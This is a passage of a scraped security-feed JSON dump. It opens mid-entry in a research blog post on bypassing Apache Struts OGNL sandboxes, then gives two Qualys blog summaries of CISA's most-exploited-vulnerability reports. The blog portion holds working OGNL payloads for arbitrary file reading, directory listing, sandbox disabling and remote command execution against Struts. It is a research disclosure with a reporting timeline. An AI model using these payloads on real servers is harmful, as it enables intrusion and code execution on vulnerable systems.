defined on the `freemarker.ext.beans` namespace, which is not blocklisted, their invocation will succeed. As we saw before, arguments need to be wrapped. As an example we can call the `File.createTempFile(\u201cPREFIX\u201d, \u201cSUFFIX\u201d)` using the following payload:\n \n \n \n objectWrapper.getStaticModels().get(\"java.io.File\").get(\"createTempFile\").exec({objectWrapper.wrap(\"PREFIX\"), objectWrapper.wrap(\"SUFFIX\")})\n \n \n\nWe can achieve the same by calling the `getAPI()` on any `freemarker.template.TemplateModelWithAPISupport` instance. Many of the FreeMarker exposed objects inherit from this interface and will allow us to wrap them with a `BeanModel`. For example, to list all the keys in the Struts Value Stack we can use:\n \n \n \n #request['.freemarker.TemplateModel'].get('stack').getAPI().get(\"context\").getAPI().get(\"keySet\").exec({})\n \n \n\nNote that `com.opensymphony.xwork2.util.OgnlContext.keySet()` would be blocked since it belongs to the `com.opensymphony.xwork2.util` namespace, but in this case, Struts\u2019 sandbox will only see calls to `TemplateHashModel.get()` and `TemplateModelWithAPISupport.getAPI()` which are both allowed.\n\nThe last payload will give us a complete list of all available objects in the Value Stack, many of which could be used for further attacks. Lets see a more interesting example by reading an arbitrary file using `BeanModel`s:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#f=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\web.xml\")}))+ \n \n (#p=#bw.wrapAsAPI(#f).get(\"toPath\").exec({}))+\n \n (#ba=#bw.getStaticModels().get(\"java.nio.file.Files\").get(\"readAllBytes\").exec({#bw.wrap(#p)}))+\n \n \"----\"+\n \n (#b64=#bw.getStaticModels().get(\"java.util.Base64\").get(\"getEncoder\").exec({}).getAPI().get(\"encodeToString\").exec({#bw.wrap(#ba)}))\n \n \n\nOr listing the contents of a directory:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\lib\")}))+ \n \n (#l=#bw.wrapAsAPI(#dir).get(\"listFiles\").exec({}).getWrappedObject())+\"---\"+\n \n (#l.{#this})\n \n \n\n#### OgnlTool/OgnlUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#ognltool-ognlutil>)\n\nThe `org.apache.struts2.views.jsp.ui.OgnlTool` class was calling `Ognl.getValue()` with no `OgnlContext` and even though the Ognl library will take care of creating a default one, it will not include all the additional security checks added by the Struts framework and is easily bypassable:\n \n \n \n package org.apache.struts2.views.jsp.ui;\n \n import ognl.Ognl;\n \n import ognl.OgnlException;\n \n import com.opensymphony.xwork2.inject.Inject;\n \n public class OgnlTool {\n \n private OgnlUtil ognlUtil;\n \n public OgnlTool() { }\n \n \n \n @Inject\n \n public void setOgnlUtil(OgnlUtil ognlUtil) {\n \n this.ognlUtil = ognlUtil;\n \n }\n \n \n \n public Object findValue(String expr, Object context) {\n \n try {\n \n return Ognl.getValue(ognlUtil.compile(expr), context);\n \n } catch (OgnlException e) {\n \n return null;\n \n }\n \n }\n \n }\n \n \n\nWe can get an instance of `OgnlTool` from both FreeMarker and Velocity post-invocation contexts:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl')\n \n \n\nOr\n \n \n \n #request['.KEY_velocity.struts2.context'].internalGet('ognl')\n \n \n\nFor FreeMarker\u2019s case, it will come up wrapped with a Template model but we can just unwrap it and use it to get RCE:\n \n \n \n (#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+\n \n (#a.findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',null))\n \n \n\nOr, even simpler:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',{})\n \n \n\n`OgnlTool` was [inadvertently fixed](<https://github.com/apache/struts/commit/5cd409d382e00b190bfe4e957c4167d06b8f9da1#diff-55821720c975d84350d796bec09aa366cc2b2861fb7e12f223cc5a4453b55640>) when Struts 6.0.0 was released by upgrading to OGNL 3.2.2 which always requires a `MemberAccess`. But the latest Struts 2 version (2.5.30) is still vulnerable to this payload.\n\n#### StrutsUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#strutsutil>)\n\nAnother object that can be accessed in the post-invocation context is an instance of `org.apache.struts2.util.StrutsUtil`. There are plenty of interesting methods in here:\n\n * `public String include(Object aName)` can be used to read arbitrary resources \n * `<struts_utils>.include(\"/WEB-INF/web.xml\")`\n * `public Object bean(Object aName)` can be used to instantiate arbitrary types: \n * `<struts_utils>.bean(\"javax.script.ScriptEngineManager\")`\n * `public List makeSelectList(String selectedList, String list, String listKey, String listValue)`\n * `listKey` and `listValue` are evaluated with OgnlTool and therefore in an unsandboxed context\n * `<struts_utils>.makeSelectList(\"#this\",\"{'foo'}\",\"(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})\",\"\")`\n\nOn applications using Velocity as its view layer, this object will be an instance of `VelocityStrutsUtil` which extends `StrutsUtils` and provides an additional vector:\n\n * `public String evaluate(String expression)` will allow us to evaluate a string containing a velocity template:\n \n \n \n (<struts_utils>.evaluate(\"#set ($cmd='java.lang.Runtime.getRuntime().exec(\\\"touch /tmp/pwned_velocity\\\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)\"))\n \n \n\n#### JspApplicationContextImpl[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#jspapplicationcontextimpl>)\n\nThe last vector that I wanted to share is one that I found a few years ago and that I was not able to exploit\u2013although I was pretty sure that there had to be a way. New post-invocation discovered objects finally made this possible!\n\nIf you have inspected the Struts Servlet context (`#application`) in the past you probably saw an item with key `org.apache.jasper.runtime.JspApplicationContextImpl` which returned an instance of `org.apache.jasper.runtime.JspApplicationContextImpl`. This class contains a method called `getExpressionFactory()` that returns an Expression Factory that will expose a `createValueExpression()` method. This looks like a perfect place to create an EL expression and evaluate it. The problem was that `[createValueExpression](<https://docs.oracle.com/javaee/7/api/javax/el/ExpressionFactory.html#createValueExpression-javax.el.ELContext-java.lang.String-java.lang.Class->)` requires an instance of `ELContext` and we had none.\n\nFortunately, our post-invocation technique brought a new object into play. When using JSPs as the view layer, `#request['com.opensymphony.xwork2.dispatcher.PageContext']` will return an uninitialized `org.apache.jasper.runtime.PageContextImpl` instance that we can use to create an `ELContext` and evaluate arbitrary EL expressions:\n \n \n \n (#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+\n \n (#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+\n \n (#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+\n \n (#elctx=#jsp.createELContext(#ctx))+\n \n (#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))\n \n \n\nThe avid readers may be wondering why Struts stores the `PageContext` in the request. Well, turns out, it does not, but we can access it through chained contexts.\n\nWhen accessing `#attr` (`AttributeMap`), [we can indirectly look into multiple scopes](<https://struts.apache.org/maven/struts2-core/apidocs/org/apache/struts2/util/AttributeMap.html>) such as the Page, Request, Session and Application (Servlet). But there is more, `org.apache.struts2.dispatcher.StrutsRequestWrapper.getAttribute()` will look for the attribute in the `ServletRequest`, if it can't find it there, [it will search the value stack](<https://github.com/apache/struts/blob/master/core/src/main/java/org/apache/struts2/dispatcher/StrutsRequestWrapper.java#L94>)! So, we can effectively access the value stack through the `#request` or `#attr` variables.\n\nIn this case, the `PageContext` was not stored in the request scope, but in the Value stack, and we are able to access it through chained context searches.\n\nWe can even run arbitrary OGNL expressions as long as they don\u2019t contain any hashes (`#`), for example, `#request[\"@java.util.HashMap@class\"]` will return the `HashMap` class.\n\n### Leveling up the BeanMap payload[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#leveling-up-the-beanmap-payload>)\n\nYou may already be familiar with McOwn\u2019s [technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). He realized that it was possible to use [OGNL Map notation](<https://commons.apache.org/proper/commons-ognl/language-guide.html>) to instantiate an `org.apache.commons.collections.BeanMap` by using the `#@org.apache.commons.collections.BeanMap@{ }` syntax, and then it was possible to wrap any Java object on this map and access any getters and setters as map properties. His payload was based on the `org.apache.tomcat.InstanceManager` payload we introduced at [Black Hat 2020](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>) and looked like:\n \n \n \n (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n \n (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n \n (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))\n \n \n\nThe payload was basically disabling the OGNL sandbox and then accessing otherwise blocked classes such as `InstanceManager`. There is a simpler way to abuse BeanMaps that do not require to disable the sandbox and that is using reflection:\n \n \n \n (#c=#@org.apache.commons.beanutils.BeanMap@{})+\n \n (#c.setBean(@Runtime@class))+\n \n (#rt=#c['methods'][6].invoke())+\n \n (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')\n \n \n\nThis payload also works in Struts 6 if the `BeanClass` is available in the classpath (either from Apache Commons Collections or Apache Commons BeanUtils), but you need to specify the FQN (Fully Qualified Name) name for `Runtime`: `@java.lang.Runtime@class`.\n\n### Timeline[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#timeline>)\n\nThese bypasses were first reported to the Struts and OGNL security teams on June 9, 2022.\n\nOn October 7, 2022, the security team replied to us and stated that improving the block lists was not a sustainable solution, and, therefore, they decided to stop doing it. They highlighted that a [Java Security Manager can be configured](<https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable>) to protect every OGNL evaluation from these attacks and we highly recommend doing so if you are running a Struts application. However, bear in mind that the [Security Manager is deprecated](<https://openjdk.org/jeps/411>) and will soon get removed from the JDK.\n\n## That\u2019s a wrap[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#thats-a-wrap>)\n\nAt this point, you will have probably realized that sandboxing an expression language, such as OGNL, is a really difficult task, and may require maintaining a list of blocked classes and OGNL features even though that is not an optimal approach. In this blog post, we have reviewed a few ways in which these sandboxes can be bypassed. Although they are specific to OGNL, hopefully you have learned to explore sandbox controls\u2013and one or two new tricks\u2013that may apply to other sandboxes. In total, we were able to raise $5,600, which we donated to [UNHCR](<https://www.unhcr.org/>) to help provide refuge for Ukrainians seeking protection from the war.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-01-27T16:00:49", "type": "github", "title": "Bypassing OGNL sandboxes for fun and charities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-3087", "CVE-2016-4436", "CVE-2017-5638", "CVE-2018-11776", "CVE-2018-1327", "CVE-2020-17530", "CVE-2021-26084", "CVE-2022-26134"], "modified": "2023-01-27T13:33:03", "id": "GITHUB:0519EA92487B44F364A1B35C85049455", "href": "https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2023-08-24T19:24:47", "description": "A unified front against malicious cyber actors is climactic in the ever-evolving cybersecurity landscape. The joint Cybersecurity Advisory (CSA), a collaboration between leading cybersecurity agencies from the United States, Canada, United Kingdom, Australia, and New Zealand, is a critical guide to strengthen global cyber resilience. The agencies involved include the U.S.'s CISA, NSA, and FBI; Canada's CCCS; U.K.'s NCSC-UK; Australia's ACSC; and New Zealand's NCSC-NZ and CERT NZ. \n\nThis collaboration among key cybersecurity agencies highlights the global nature of cybersecurity threats. Such cooperative efforts signify a unified perspective and highlight the need for shared intelligence and coordinated strategies. The realization that cybersecurity is not limited to national borders but is a shared responsibility is growing more evident. \n\nThe CSA sheds light on the Common Vulnerabilities and Exposures (CVEs) routinely and frequently exploited in 2022 and the associated Common Weakness Enumeration(s) (CWE). It outlines crucial technical details and key findings, providing actionable guidance and mitigation strategies. Vendors, designers, developers, and end-user organizations are strongly urged to implement these guidelines to strengthen their defenses against possible threats. \n\n### **The Cybersecurity Advisory (CSA) has identified the following key findings that outline essential insights into the behaviors and tendencies of malicious cyber actors for 2022:** \n\n * **Older Vulnerabilities Targeted**: Malicious cyber actors exploited older software vulnerabilities more frequently, targeting unpatched, internet-facing systems. \n * **Proof of Concept (PoC) Code**: Public availability of PoC code likely facilitated broader exploitation by malicious actors. \n * **Success in First Two Years**: Known vulnerabilities are most successfully exploited within the first two years of disclosure. Timely patching reduces this effectiveness. \n * **Prioritization of Severe CVEs**: Cyber actors prioritize severe and globally prevalent vulnerabilities, seeking low-cost, high-impact tools and paying attention to vulnerabilities principal in specific targets' networks. \n * **Detection through Deep Packet Inspection**: Deep packet inspection can often detect exploits involving multiple CVE or CVE chains. \n\nIn 2022, malicious cyber actors routinely exploited 12 severe vulnerabilities, affecting various products and services. These issues included the long-exploited Fortinet SSL VPNs' CVE-2018-13379 and widespread vulnerabilities such as Apache's Log4Shell (CVE-2021-44228). They impacted multiple systems, from Microsoft Exchange email servers to Atlassian Confluence and software like Zoho ManageEngine and VMware. The exploitation often resulted from organizations' failure to patch software or due to publicly available proofs of concept (PoC), enabling remote execution, privilege escalation, and authentication bypass. The table below shows detailed information on these 12 vulnerabilities, along with Qualys-provided QIDs. A crucial commonality between these vulnerabilities is their potential to compromise system integrity, confidentiality, and availability severely. The Qualys Threat Research Unit (TRU) team has addressed all aforementioned critical vulnerabilities by providing QIDs within 24 hours. These critical vulnerabilities are categorized based on their potential impact if exploited as follows: \n\nCVE/Vuln Name| Vendor/Product| Type| QID| QDS \n---|---|---|---|--- \nCVE-2018-13379| Fortinet - FortiOS and FortiProxy | SSL VPN Credential Exposure | 43702| 100 \nCVE-2021-34473 (Proxy Shell) | Microsoft - Exchange Server | RCE | 50114, 50107| 100 \nCVE-2021-31207 (Proxy Shell) | Microsoft - Exchange Server | Security Feature Bypass | 50114, 50111| 95 \nCVE-2021-34523 (Proxy Shell) | Microsoft - Exchange Server | Elevation of Privilege | 50114, 50112| 100 \nCVE-2021-40539| Zoho ManageEngine - ADSelfService Plus | RCE/Authentication Bypass | 375840| 100 \nCVE-2021-26084| Atlassian - Confluence Server and Data Center | Arbitrary code execution | 375839, 730172| 100 \nCVE-2021-44228 (Log4Shell) | Apache - Log4j2 | RCE | 730447, 376521| 100 \nCVE-2022-22954| VMware - Workspace ONE Access and Identity Manager | RCE | 730447, 376521| 100 \nCVE-2022-22960| VMware - Workspace ONE Access, Identity Manager, and vRealize Automation | Improper Privilege Management | 376521| 95 \nCVE-2022-1388| F5 Networks - BIG-IP | Missing Authentication Vulnerability | 730489, 376577| 96 \nCVE-2022-30190 (Follina)| Microsoft - Multiple Products | RCE | 91909| 100 \nCVE-2022-26134| Atlassian - Confluence Server and Data Center | RCE | 376657, 730514| 100 \n \n**Vulnerabilities Paving the Way for Data Theft and More:** \n\nThe following vulnerabilities that could potentially lead to data theft or lay the groundwork for further attacks: \n\n * **CVE-2018-13379**, a flaw in the Fortinet FortiOS SSL VPN web portal, could be leveraged by attackers to gain unauthorized access to sensitive SSL VPN session data. \n * **CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207**, collectively known as ProxyShell vulnerabilities affecting Microsoft Exchange Servers, could enable bad actors to deploy web shells and execute arbitrary code on compromised devices. \n * **CVE-2022-1388**, an F5 BIG-IP iControl REST API vulnerability, could offer initial network access to cyber criminals, enabling infamous activities like data theft or ransomware deployment. \n\n**Vulnerabilities Leading to System Takeover:** \n\nNext, the following vulnerabilities that could potentially compromise an entire system: \n\n * **CVE-2021-44228**, or Log4Shell, exploits Apache's log4j Java library, possibly leading to a total system compromise. \n * **CVE-2021-26084 and CVE-2022-26134**, vulnerabilities found in Atlassian's Confluence Server and Data Center, can allow an attacker to execute arbitrary code, leading to a potential system takeover. \n * **CVE-2021-40539**, an issue with Zoho ManageEngine ADSelfService Plus, can allow for arbitrary code execution and potential system compromise. \n * **CVE-2022-30190**, found in the Microsoft Support Diagnostic Tool, can be exploited for remote code execution, potentially leading to full system compromise. \n * **CVE-2022-22954 and CVE-2022-22960**, affecting VMware Workspace ONE Access, Identity Manager, and vRealize Automation, can allow for remote code execution and privilege escalation, respectively, potentially leading to full system compromise. \n\n### **Analyzing Vulnerability Remediation Patterns and the Urgency of Swift Patching**\n\nOur data, which sheds light on the patching behavior for 12 significant vulnerabilities, is pulled from the Qualys TruRisk Platform. This data is anonymized to ensure that any data analysis cannot revert to identifying specific organization or asset information. \n\nThe data highlights a prominent challenge where some vulnerabilities witness rapid mitigation, highlighting proactive security measures. In contrast, others face prolonged remediation times, raising concerns about potential exposure risks. Such disparities underline the importance of detecting and swiftly addressing vulnerabilities. As cyber threats grow in sophistication, the urgency to patch quickly and efficiently becomes paramount. The following plot contrasting the patch rates and remediation times for 12 frequently exploited vulnerabilities in 2022 further illustrates this point. It shows that while some vulnerabilities are quickly patched, others remain unaddressed for extended periods. This analysis reinforces the importance of timely vulnerability management and the pressing need to do so with speed and diligence, especially for high-risk vulnerabilities. \n\n\n\nFig 1. Patch Rate vs. Average Remediation Days for Top 12 Routinely Exploited Vulnerabilities in 2022 \n\nThe damaging potential of these vulnerabilities highlights the vital importance of cybersecurity alertness. By understanding the risks and possible impacts of these threats, organizations can adopt proactive defense strategies, patching vulnerabilities and updating systems regularly to ensure the integrity of their environments. The advisory also emphasizes the criticality of accurately incorporating the CWE field in published CVEs to highlight vulnerability root causes and support industry-wide software security insights. \n\n### **Aligning Qualys Platform with Joint Cybersecurity Advisory Mitigating Guidelines** \n\nThe recent joint Cybersecurity Advisory (CSA) emphasizes the urgency of identifying exploited vulnerabilities, keeping all network assets updated, and implementing a robust patch management process. Among the recommendations are the timely updating of software, prioritizing patches for known vulnerabilities, performing automated asset discovery, and implementing centralized patch management. \n\nQualys' suite of products directly aligns with these critical recommendations. Qualys Cybersecurity Asset Management (CSAM) ensures 360-degree visibility of assets, aligning with CSA's call for comprehensive asset discovery. Qualys Patch Management offers an advanced automated solution for timely updates, while Qualys VMDR facilitates the discovery, assessment, and prioritization of vulnerabilities. By leveraging Qualys' unified platform, organizations can efficiently adhere to international best practices outlined in the CSA, enhancing their defense against cyber threats. \n\nIn addition, the joint Cybersecurity Advisory (CSA) stresses the need for robust protective controls and architecture. Key recommendations include securing internet-facing network devices, continuously monitoring the attack surface, and prioritizing secure-by-default configurations. There is a strong focus on hardening network protocols, managing access controls, and employing security tools such as EDR and SIEM for enhanced protection. \n\nQualys Threat Protection aligns seamlessly with these recommendations by providing centralized control and comprehensive visibility of the threat landscape. By continuously correlating external threat information against vulnerabilities and the IT asset inventory, Qualys allows organizations to pinpoint and prioritize the most critical security threats. Whether managing vulnerabilities, controlling the threat prioritization process, or ensuring compliance with regulations, Qualys empowers organizations to align with the CSA's guidelines and achieve a fortified security posture. \n\nQualys TotalCloud also employs deep learning AI to continuously monitor the attack surface and investigate abnormal activity, aligning with CSA guidelines. It is leveraging an interconnected artificial neural network that detects known and unknown malware with over 99% accuracy in less than a second. Through these capabilities, Qualys TotalCloud delivers an advanced, rapid, and precise solution for malware detection in multi-cloud environments and bypassing the limitations of signature-based systems. \n\n\n\nFig 2. Qualys VMDR TruRisk Dashboard for top 12 routinely exploited vulnerabilities in 2022 \n\nThe [Qualys VMDR TruRisk Dashboard](<https://ik.imagekit.io/qualys/wp-content/uploads/2023/08/Qualys-VMDR-TruRisk-UDdashboard.json_.zip>) (JSON zipped) helps organizations to have complete visibility into open vulnerabilities that focus on the organization\u2019s global risk score, high-risk vulnerabilities, and Top Exploited Vulnerabilities. Once you identify the vulnerable assets for these top vulnerable CVEs prioritized among your remediation owners, you can instantly use Qualys Patch management to reduce the risk. \n\nIn conclusion, this Cybersecurity Advisory (CSA) offers valuable insights and mitigation strategies against routine vulnerabilities. Qualys provides robust solutions that align seamlessly with CSA's recommendations, including asset management, timely updates, vulnerability prioritization, and advanced threat detection capabilities in this growing landscape. Consequently, organizations can strengthen their defenses against cyber threats by sticking to CSA guidelines and leveraging comprehensive cybersecurity solutions like Qualys'. \n\n## References\n\n[CISA, NSA, FBI and International Partners Issue Advisory on the Top Routinely Exploited Vulnerabilities in 2022](<https://media.defense.gov/2023/Aug/03/2003273618/-1/-1/0/JOINT-CSA-2022-TOP-ROUTINELY-EXPLOITED-VULNERABILITIES.PDF>)\n\n## Additional Contributor \n\n * Ramesh Ramachandran, Principal Product Manager, Qualys\n * Aubrey Perin, Lead Threat Intelligence Analyst, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-08-24T19:07:05", "type": "qualysblog", "title": "Qualys Tackles 2022\u2019s Top Routinely Exploited Cyber Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26084", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-22954", "CVE-2022-22960", "CVE-2022-26134", "CVE-2022-30190"], "modified": "2023-08-24T19:07:05", "id": "QUALYSBLOG:56A00F45A170AF95CF38191399649A4C", "href": "https://blog.qualys.com/category/qualys-insights", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-11T05:29:14", "description": "_The U.S. Cybersecurity & Infrastructure Security Agency has published its report on the top exploited vulnerabilities of 2021. This blog summarizes the report\u2019s findings and how you can use Qualys VMDR to automatically detect and remediate these risks in your enterprise environment._\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) releases [detailed alerts](<https://www.cisa.gov/uscert/ncas/alerts>) of critical vulnerabilities and threats when warranted. These alerts cover the most exploited security vulnerabilities and provide critical insights into the type, nature, and vendor product affected, as well as recommended mitigations that enterprise IT/security professionals can take to reduce their risk.\n\nTo that end, CISA has released its [2021 Top Routinely Exploited Vulnerabilities Report](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>). It provides in-depth details of each exploited CVE, including which threat actors aggressively targeted both public and private sector organizations worldwide. It also provides mitigation guidance for all the top vulnerabilities.\n\nOf special interest in the report is this key finding by CISA:\n\n_Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors._\n\n### CISA\u2019s Top 15 Routinely Exploited Vulnerabilities of 2021\n\nThe top 15 routine vulnerability exploits observed by cybersecurity authorities in the U.S., Australia, Canada, New Zealand, and the U.K. are:\n\nCVE| Vulnerability Name| Vendor and Product| Type \n---|---|---|--- \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)| [Log4Shell](<https://www.qualys.com/log4shell-cve-2021-44228/>) | Apache Log4j| Remote code execution (RCE) \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)| | Zoho ManageEngine AD SelfService Plus| RCE \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)| ProxyShell| Microsoft Exchange Server| Elevation of privilege \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)| ProxyShell| Microsoft Exchange Server| RCE \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)| ProxyShell| Microsoft Exchange Server| Security feature bypass \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)| [ProxyLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2021/03/03/microsoft-exchange-server-zero-days-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Exchange Server| RCE \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)| | Atlassian Confluence Server and Data Center| Arbitrary code execution \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)| | VMware vSphere Client| RCE \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)| [ZeroLogon](<https://blog.qualys.com/vulnerabilities-threat-research/2020/09/15/microsoft-netlogon-vulnerability-cve-2020-1472-zerologon-automatically-discover-prioritize-and-remediate-using-qualys-vmdr>)| Microsoft Netlogon Remote Protocol (MS-NRPC)| Elevation of privilege \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)| | Microsoft Exchange Server| RCE \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)| | Pulse Secure Pulse Connect Secure| Arbitrary file reading \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)| | Fortinet FortiOS and FortiProxy| Path traversal \n \n### Highlights of Top Vulnerabilities Cited in CISA 2021 Report\n\nBased on the analysis of this report by the Qualys Research Team, let\u2019s review a few of the top vulnerabilities on the 2021 list and our recommendations for how Qualys enterprise customers can detect and respond to them.\n\n#### Log4Shell Vulnerability\n\nThe Log4Shell vulnerability **(CVE-2021-44228)** was disclosed in December 2021. It was widely exploited by sending a specially crafted code string, which allowed an attacker to execute arbitrary Java code on the server and take complete control of the system. Thousands of products used Log4Shell and were vulnerable to the Log4Shell exploitation.\n\nVisit the [Qualys Log4Shell website](<https://www.qualys.com/log4shell-cve-2021-44228/>) for full details on our response to this threat.\n\n### ProxyShell: Multiple Vulnerabilities\n\nThe multiple vulnerabilities called ProxyShell **(CVE-2021-34523, CVE-2021-34473, CVE-2021-31207)** affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., via "vulnerability chaining") enables a remote actor to execute arbitrary code and privilege escalation.\n\n### ProxyLogon: Multiple Vulnerabilities\n\nThe multiple vulnerabilities named ProxyLogon **(CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065)** also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination allows an unauthenticated threat actor to execute arbitrary code on vulnerable Exchange Servers, which enables the attacker to gain persistent access to files, 